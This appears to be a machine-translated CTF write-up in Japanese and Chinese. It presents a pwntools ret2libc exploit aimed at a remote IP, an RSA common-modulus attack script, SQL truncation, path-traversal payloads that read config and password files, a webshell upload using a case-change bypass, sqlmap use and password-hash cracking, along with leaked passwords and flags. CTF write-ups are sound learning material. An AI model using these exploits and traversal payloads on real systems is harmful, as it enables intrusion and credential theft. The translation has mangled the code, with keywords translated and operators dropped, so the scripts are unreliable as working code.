これは比較的単純な PWN の質問です。まず、これを IDA にドラッグし、プログラムを簡単に見てください。図に示すように、
found 読み取り時にはスタック保護がないため、0x34 を読み取ると、最初に write(1,write,4) によってゲームの戻りアドレスが置き換えられる可能性があります (ゲームは書き込み戻りアドレスとして使用されます)。この方法で書き込みアドレスを読み取ると、再びループで実行されるため、システム アドレスを取得できます。また、0x804A06C に /bin/sh\0 を書き込むと、システムが実行できるようになります。
Pythonexp は次のとおりです。
frompwn import *
defrungameAgainPoc(p,yourname,flag):
p.recvuntil("まず、あなたの名前は何ですか?名前? \n")
p.send(あなたの名前 "\n")
p.recvuntil("フラグを取得しますか?\n")
p .send (フラグ)
pwnelf= ELF("./pwn")
libcelf= ELF("./libc-2.23.so")
gameadd= 0x080485CB
plt_write= pwnelf.symbols['write']
got_write= pwnelf.got['write']
#p= process('./pwn',env ={ 'LD_PRELOAD':'./libc-2.23.so'})
p= リモート('117.50.60.184', 12345)
rungameAgainPoc(p,"ichuqiu"," 0 " *32 p32(plt_write)
印刷" pwn write "、hex(write_addr)# libcelf_system_add = libcelf.symbols [" system "] write_addr- libcelf.symbols["write"] print"pwn libcelf_system_add",hex(libcelf_system_add)rungameAgainPoc(p,"/bin/sh\0","0"*32 0x804A06C))p.interactive()flag{62c51c85-1516-4ad8-989c-58ce8c29642e}0x02 Antidbg IDA が主要な関数を見つけ、循環比較があることが判明しました。最初の判断では 8 桁の数字であるため、個別に比較します。# #[ebp var_6C]01050D02070106010206000B07010C06
#[ebp var_4C]02080602
#[ebp var_5C]0100070D020108080D000103040D0303
##[ebp var_48]0205 0009#[ ebp var_44]00000D02defcover(buf): buf= buf.decode("hex") rbuf= "" 範囲内(len(buf) - 1, -1,-1): rbuf = buf[i] returnrbufdefcover_hex_lines(buf): returnbuf.replace("", "").replace("\r","").replace("\n","").decode("hex")var_6c=cover( "01050D02070106010206000B07010C06") カバー("0100070D020108080D000103040D0303") カバー("02080602") カバー("02050009") カバー("00000D02")#printlen(var _6c)byte_402178= """02 02 02 02 03 01 01 020101 02 01 01 00 01 01 02 02 00 01 01 01 01 000101 02 02 00 01 01 02 02 01 01 01 01 01 02 010103 00 00 00 00 00 00 00 00 00 00 00 00 00 000303 0D 04 03 01 00 0D 08 08 01 0 2 0D 07 00 01060C 01 07 0B 00 06 02 01 06 01 07 02 0D 05 010000 00 00 EF 28 68 5B 00 00 00 00 02 00 00 00 4800 00 00 E4 22 00 00 E4 16 00 00 00 00 00 00EF28 68 5B 00 00 00 00 0C 00 00 00 14 00 00 002C23 00 00 2C 17 00 00 00 00 00 00 EF 28 68 5B0000 00 00 0D 00 00 00 54 02 00 00 40 23 00 004017 00 00 00 00 00 00 EF 28 68 5B 00 00 00 0 00E00 00 00 00 00 00 00 00 00 00 00 00 00 00 00A000 00 00 00 00 00 00 00 00 00 00 00 00 00 000000 00 00 00 00 00 00 00 00 00 00 00 00 00 000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 0 0 00 00 00 30 40 00E022 40 00 01 00 00 00 E8 20 40 00 00 00 00 000000 00 00 00 00 00 00 00 01 00 00 00 00 00 000000 00 00 00 00 00 00 00 00 00 00 00 00 00 000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00 00 00 00 00 00 00 00 00 00 00 000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00""".replace("","").replace ("\r","").replace("\n","").decode("hex")byte_402138= """ 00 00 00 00 01 00 00 000200 00 00 03 00 00 00 04 00 00 00 05 00 00 000600 00 00 07 00 00 00 08 00 00 00 09 00 00 00 0A00 00 00 0B 00 00 00 0C 00 00 00 0D 00 00 000E00 00 00 0F 00 00 00""".replace("","").replace("\r","").replace("\n","").decode("hex")
dword_403018=" ""0200 00 00 02 00 00 00
0200 00 00 02 00 00 00 00 00 00 00 00 00 00 00
"".replace("","").replace ("\r","").replace("\n","").decode("hex")
#text:0040110E mov ecx, [ebp var_4]
#.text:00401111 ecx, ebp
#.text:00401113 mov dword_40301C, 3
##.text:0040111D dword_403020, 6#.text:00401127 mov dword_403024 , 7#メモリ値が変更されているので修正してくださいdword_403018= dword_403018[0:4] '\x03' dword_403018[5:8] '\ x06' dword_403018[9:12] '\x07' dword_403018[13:]printdword_403018.encode("hex")fori 範囲(0 ,42) ): hightnum= ord(dword_403018[ord(byte_402178[i])*4])numbershow= hightnum ord(byte_402138[ord(var_6c[i ])] *4]) printchr(numbershow),flag{06b16a72-51cc-4310-88ab-70ab68290e22}0x03 sqliこの質問 それSQL制約攻撃です。登録ユーザー名は「admin」、パスワードは規定に適合したパスワードでログインすると、flagflag{b5a1f9c5-ac30-4e88-b460-e90bcb65bd70と表示されます。 }0x04 RSAopensslrsa -inform PEM -in pubkey1.pem -pubin -text公開キー:(2048 ビット)モジュラス: 00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad:86:df: 3c:99:57:7f: 89:78: 04:8d:e5:43:6b:ef:c3:0d:8d: 8c:94:95:89:12:aa:52:6f:f3:33:b6: 68:57: 30:6e: bb:8d:e3:6c:2c:39:6a:84:ef:dc:5d:38:25:02:da: a1:a3: f3:b6:e9:75:02:d2:e3:1c:84:93:30:f5:b4: c9:52:57:a1:49:a9:7f: 59:54: ea:f8:93:41:14:7a: dc:dd:4e:95:0f:ff:74:e3:0b:be:62:28:76:b4: 2e: ea:c8:6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42: 4c:7d:9a: c4:6b: d6:b5:f3:22:b2:b5:72:8b:a1:48: 70:4a:25:a8:ef:cc:1e:7c:84:ea: 7e:5c: e3:e0:17: 03:f0:4f:94:a4:31:d9:95:4b:d7:ae:2c:7d:d6:e8: 79: b3:5f:8a:2d:4a:5e:fb:e7:37:25:7b:f9:9b:d9: ee:66:b1:5a:ff:23: 3f:c7: 7b:55:8a:48:7d:a5:95: 2f:be:2b:92:3d:a9:c5:eb:46:78:8c:05:03: 36:b7: e3:6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb: e7:24: 81:db: 25:68:aa:82:9e:ea:c8:7d:20:1a:5a: 8f:f5:ee:6f:0b:e3:81:92:ab: 28:39: 63:5f:6c:66: 42:17指数:2333 (0x91d)opensslrsa -inform PEM -in pubkey2.pem -pubin -text公開キー:(2048 ビット)モジュラス: 00:89:89:a3:98:98:84:56:b3:fe: f4:a6: ad:86:df: 3c:99:57:7f:89:78:04:8d:e5:43:6b:ef:c3:0d:8d: 8c: 94:95:89:12:aa:52:6f:f3:33:b6:68:57:30:6e: bb:8d:e3:6c:2c:39: 6a:84: ef:dc:5d:38:25:02:da: a1:a3:f3:b6:e9:75:02:d2:e3:1c:84:93:30: f5:b4: c9:52:57:a1:49:a9:7f:59:54:ea:f8:93:41:14:7a: dc:dd: 4e:95: 0f:ff:74:e3:0b:be:62:28:76:b4:2e: ea:c8:6d:f4:ad:97:15:d0:5b: 56:04: aa:81:79:42: 4c:7d:9a:c4:6b:d6:b5:f3:22:b2:b5:72:8b:a1:48: 70:4a:25:a8:ef:cc:1e:7c:84:ea:7e:5c:e3:e0:17: 03:f0:4f:94:a4: 31:d9: 95:4b:d7:ae:2c:7d:d6:e8: 79:b3:5f:8a:2d:4a:5e:fb:e7:37:25:7b: f9:9b: d9: ee:66:b1:5a:ff:23:3f:c7:7b:55:8a:48:7d:a5:95: 2f: be:2b: 92:3d:a9:c5:eb:46:78:8c:05:03:36:b7: e3:6a:5e:d8:2d:5c:1b:2a: eb:0e: 45:be:e4:05:cb: e7:24:81:db:25:68:aa:82:9e:ea:c8:7d:20:1a:5a: 8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f:6c:66: 42:17
# #Exponent:23333 (0x5b25).
2 つの公開鍵 n は同じですが、e は異なることがわかります。RSA
Python を使用したコモンモード攻撃は次のとおりです。
fromlibnum import n2s ,s2n
fromgmpy2 import invert
importbase64
importgmpy2
defbignumber(n):
n= n.decode("hex ")
rn= 0
forb in n:
rn= rn
rn = ord(b)
returnrn
n ="""00:89:89:a3:98:98:84:56:b3:fe:f4:a6:ad: 86:df:
3c:99:57:7f:89:78:04:8d:e5:43:6b:ef:c3:0d:8d:
8c:94: 95:89:12:aa:52 :6f:f3:33:b6:68:57:30:6e:
bb:8d:e3:6c:2c:39:6a:84:ef:dc:5d:38:25:02:da:
a1:a3:f3:b6:e9:75 :02:d2:e3:1c:84:93:30:f5:b4:
c9:52:57:a1:49:a9:7f:59:54:ea:f8:93:41 :14:7a:
dc:dd:4e:95:0f:ff:74:e3:0b:be:62:28:76:b4:2e:
ea:c8 :6d:f4:ad:97:15:d0:5b:56:04:aa:81:79:42:
4c:7d:9a:c4:6b:d6:b5:f3:22 :b2:b5:72:8b:a1:48:
70:4a:25:a8:ef:cc:1e:7c:84:ea:7e:5c:e3:e0:17:
03:f0:4f:94:a4:31:d9:95:4b:d7:ae:2c:7d:d6:e8:
79:b3:5f:8a:2d :4a:5e:fb:e7:37:25:7b:f9:9b:d9:
ee:66:b1:5a:ff:23:3f:c7:7b:55:8a:48 :7d:a5:95:
2f:be:2b:92:3d:a9:c5:eb:46:78:8c:05:03:36:b7:
e3 :6a:5e:d8:2d:5c:1b:2a:eb:0e:45:be:e4:05:cb:
e7:24:81:db:25:68:aa:82 :9e:ea:c8:7d:20:1a:5a:
8f:f5:ee:6f:0b:e3:81:92:ab:28:39:63:5f:6c:66 :42:17"""
.replace(":",").replace("",").replace("\r",").replace("\n" ,"" )
##printn
n =bignumber(n)
printhex(n)
e1= 2333
e2 =23333
defegcd(a,b):
ifa == 0:
return(b,0,1)
else:
g,y,x= egcd(b%a,a)
return(g,x - (b //a)*y,y)
flag1 = Base64 .b64decode (open("flag1.enc","rb").read())
flag2 =base64.b64decode(open("flag2.enc","rb").read())
c1= s2n(flag1)
c2= s2n(flag2)
c2= 反転(c2,n)
#s= egcd(e1, e2)
#prints
s =gmpy2.gcdext(e1,e2)
#prints
s1= s[1]
s2= 0 - s[2]
prints1
prints2
m =pow(c1,s1,n) * pow(c2,s2,n)% n
printn2s(m)
flag{4b0b4c8a-82f3-4d80-902b-8e7a5706f8fe}
0x05 抛砖引玉
1.CMS バージョンに基づく、wooyun 镜像站找到穴细节,
网站存在注入,但是データ库用户表是空,另外发现発行现文件下下洞穴,
down.php?urls=data/../config.php
ダウンロードファイル公開DB_user/mvoa用の秘密
define('DB_PWD','B!hpp3Dn1.');
flag值:B!hpp3Dn1.
2.http://url/www.zip,入手网站备份文件,在config.php発行DB_user/root用户の秘密
define('DB_PWD','mypasswd');
flag值:mypasswd
0x06 暗度陈仓
1.发现下載路径
/u-are-admin/download.php?dl=
显表示文件找不到(u-Are-Admin/u-upload-file文件夹),発行现关键目录/u-Are-Admin/
flag值:/u-Are-Admin /
#2.在/u-Are-Admin/目录、可传文件、上传Php(大小写绕过)一句话木马、菜刀链接、netuser查看系统管理员Hack用户の全名flag: Hacked3563. c771f0x07瞒 天过海## 1 1awvs 扫到注入点
##/Cat.php? ID = 2## SQLMAP 直接能 , , 通过 即获得 后台明文 密解 , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , root の秘密ハッシュ、
#*21C5210729A90C69019F01FED76FAD4654F27167その後 cmd5 解密も取得可能 rootserverフラグ:rootserver3.コンテンツ/classes/downloadfile .php?file=../../../../../../password.txtflag值:c9c35cf409344312146fa7546a94d1a60x08 偷梁换柱 1.AWVS扫到./gitsource码露露、ツールGitHackを使用してすべてのソースコードをダウンロード、データベースファイル文書公開に使用名、秘密(adminAdmin@pgsql) フラグ值:Admin@pgsql2 .掉小,即文件真正址,/admin/uploads/111.php.png # 。3.菜刀能够直接閲覧/tmp/access 16 位 #0x09 .log の内容の前 16 位 0x09 、その後 getshell、构造経路は
url/info/include.php?filename=..//sjk-uploads/UareHack.txt
##2.shell にアクセスすると、デスクトップ根目パスワード.txt の内容
#3.getshell を取得できます。msf木马無法反弹、最後にQuarksPwDump HASHを使用し、オンラインで秘密コードを破解します。以上がCTF の質問の書き込みを分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。